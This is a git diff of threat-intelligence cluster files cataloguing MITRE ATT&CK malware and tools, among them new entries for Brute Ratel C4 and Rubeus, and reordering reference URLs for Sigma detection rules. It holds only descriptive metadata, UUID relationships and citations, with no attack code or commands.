"[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024).(Citation: MSTIC NOBELIUM Mar 2021)", "meta": { "external_id": "S0589", "mitre_platforms": [ @@ -69972,6 +72863,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ @@ -70036,14 +72934,14 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -70242,6 +73140,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -70680,6 +73585,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ @@ -70882,13 +73794,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ @@ -70910,6 +73815,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -71681,7 +74593,7 @@ "value": "Meteor - S0688" }, { - "description": "[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used in attacks against Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)", + "description": "[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)", "meta": { "external_id": "S0689", "mitre_platforms": [ @@ -71761,6 +74673,13 @@ ], "type": "uses" }, + { + "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "tags": [ @@ -72024,5 +74943,5 @@ "value": "HermeticWizard - S0698" } ], - "version": 28 + "version": 29 } diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json index bd8c675..964aa97 100644 --- a/clusters/mitre-tool.json +++ b/clusters/mitre-tool.json @@ -37,6 +37,262 @@ "uuid": "242f3da3-4425-4d11-8f5c-b842886da966", "value": "Windows Credential Editor - S0005" }, + { + "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. [Brute Ratel C4](https://attack.mitre.org/software/S1063) was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of [Brute Ratel C4](https://attack.mitre.org/software/S1063) was leaked in the cybercriminal underground, leading to its use by threat actors.(Citation: Dark Vortex Brute Ratel C4)(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: SANS Brute Ratel October 2022)(Citation: Trend Micro Black Basta October 2022)", + "meta": { + "external_id": "S1063", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1063", + "https://bruteratel.com/", + "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/", + "https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/", + "https://www.sans.org/blog/cracked-brute-ratel-c4-framework-proliferates-across-the-cybercriminal-underground/", + "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html" + ], + "synonyms": [ + "Brute Ratel C4", + "BRc4" + ] + }, + "related": [ + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "208884f1-7b83-4473-ac22-4e1cf6c41471", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "75d8b521-6b6a-42ff-8af3-d97e20ce12a5", + "value": "Brute Ratel C4 - S1063" + }, { "description": "[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)", "meta": { @@ -1117,6 +1373,13 @@ ], "type": "uses" }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ @@ -1211,6 +1474,13 @@ ] }, "related": [ + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -2292,6 +2562,64 @@ "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507", "value": "UACMe - S0116" }, + { + "description": "[Rubeus](https://attack.mitre.org/software/S1071) is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations.(Citation: GitHub Rubeus March 2023)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "meta": { + "external_id": "S1071", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1071", + "https://github.com/GhostPack/Rubeus", + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" + ], + "synonyms": [ + "Rubeus" + ] + }, + "related": [ + { + "dest-uuid": "3986e7fd-a8e9-4ecb-bfc6-55920855912b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "768dce68-8d0d-477a-b01d-0eea98b963a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d273434a-448e-4598-8e14-607f4a0d5e27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e33267fe-099f-4af2-8730-63d49f8813b2", + "value": "Rubeus - S1071" + }, { "description": "[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)", "meta": { @@ -3003,6 +3331,9 @@ "refs": [ "https://attack.mitre.org/software/S0174", "https://github.com/SpiderLabs/Responder" + ], + "synonyms": [ + "Responder" ] }, "related": [ @@ -3189,13 +3520,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", "tags": [ @@ -3211,14 +3535,14 @@ "type": "uses" }, { - "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", + "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3728,8 +4052,8 @@ "refs": [ "https://attack.mitre.org/software/S0332", "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html", - "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html", - "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + "https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/", + "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" ], "synonyms": [ "Remcos" @@ -5009,13 +5333,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", "tags": [ @@ -5079,6 +5396,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", "tags": [ @@ -6393,6 +6717,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "b4409cd8-0da9-46e1-a401-a241afd4d1cc", "tags": [ @@ -6407,6 +6738,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d94b3ae9-8059-4989-8e9f-ea0f601f80a7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", "tags": [ @@ -6542,5 +6880,5 @@ "value": "Mythic - S0699" } ], - "version": 27 + "version": 28 } diff --git a/clusters/sigma-rules.json b/clusters/sigma-rules.json index e56193c..3a055b2 100644 --- a/clusters/sigma-rules.json +++ b/clusters/sigma-rules.json @@ -76,8 +76,8 @@ "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_cleartext_protocols.yml" ], @@ -99,8 +99,8 @@ "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ - "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195", + "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml" ], "tags": [ @@ -134,10 +134,10 @@ "logsource.category": "dns", "logsource.product": "No established product", "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - "https://core.telegram.org/bots/faq", - "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", + "https://core.telegram.org/bots/faq", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml" ], "tags": [ @@ -246,8 +246,8 @@ "logsource.category": "dns", "logsource.product": "No established product", "refs": [ - "https://twitter.com/stvemillertime/status/1024707932447854592", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1", + "https://twitter.com/stvemillertime/status/1024707932447854592", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml" ], "tags": [ @@ -1209,9 +1209,9 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", + "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", "https://threatpost.com/microsoft-petitpotam-poc/168163/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml" ], @@ -1590,9 +1590,9 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", "https://github.com/Maka8ka/NGLite", "https://github.com/nknorg/nkn-sdk-go", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml" ], "tags": [ @@ -1649,8 +1649,8 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" ], @@ -1726,11 +1726,11 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", - "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", + "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", + "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", "https://github.com/corelight/CVE-2021-1675", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml" ], @@ -1863,10 +1863,10 @@ "logsource.category": "No established category", "logsource.product": "zeek", "refs": [ - "https://twitter.com/neu5ron/status/1346245602502443009", - "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", - "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", "https://tools.ietf.org/html/rfc2929#section-2.1", + "https://twitter.com/neu5ron/status/1346245602502443009", + "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", + "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml" ], "tags": [ @@ -2175,9 +2175,9 @@ "logsource.category": "application", "logsource.product": "jvm", "refs": [ - "https://rules.sonarsource.com/java/RSPEC-2755", - "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs", + "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", + "https://rules.sonarsource.com/java/RSPEC-2755", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_xxe_exploitation_attempt.yml" ], "tags": [ @@ -2210,8 +2210,8 @@ "logsource.category": "application", "logsource.product": "jvm", "refs": [ - "https://secariolabs.com/research/analysing-and-reproducing-poc-for-log4j-2-15-0", "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs", + "https://secariolabs.com/research/analysing-and-reproducing-poc-for-log4j-2-15-0", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_jndi_injection_exploitation_attempt.yml" ], "tags": [ @@ -2313,10 +2313,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", + "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" ], "tags": [ @@ -2349,8 +2349,8 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/zeronetworks/rpcfirewall", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml" @@ -2375,9 +2375,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml" ], @@ -2401,10 +2401,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml" ], "tags": [ @@ -2437,9 +2437,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" ], @@ -2481,10 +2481,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml" ], "tags": [ @@ -2517,8 +2517,8 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml" ], "tags": [ @@ -2541,9 +2541,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" ], @@ -2585,9 +2585,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml" ], "tags": [ @@ -2628,9 +2628,9 @@ 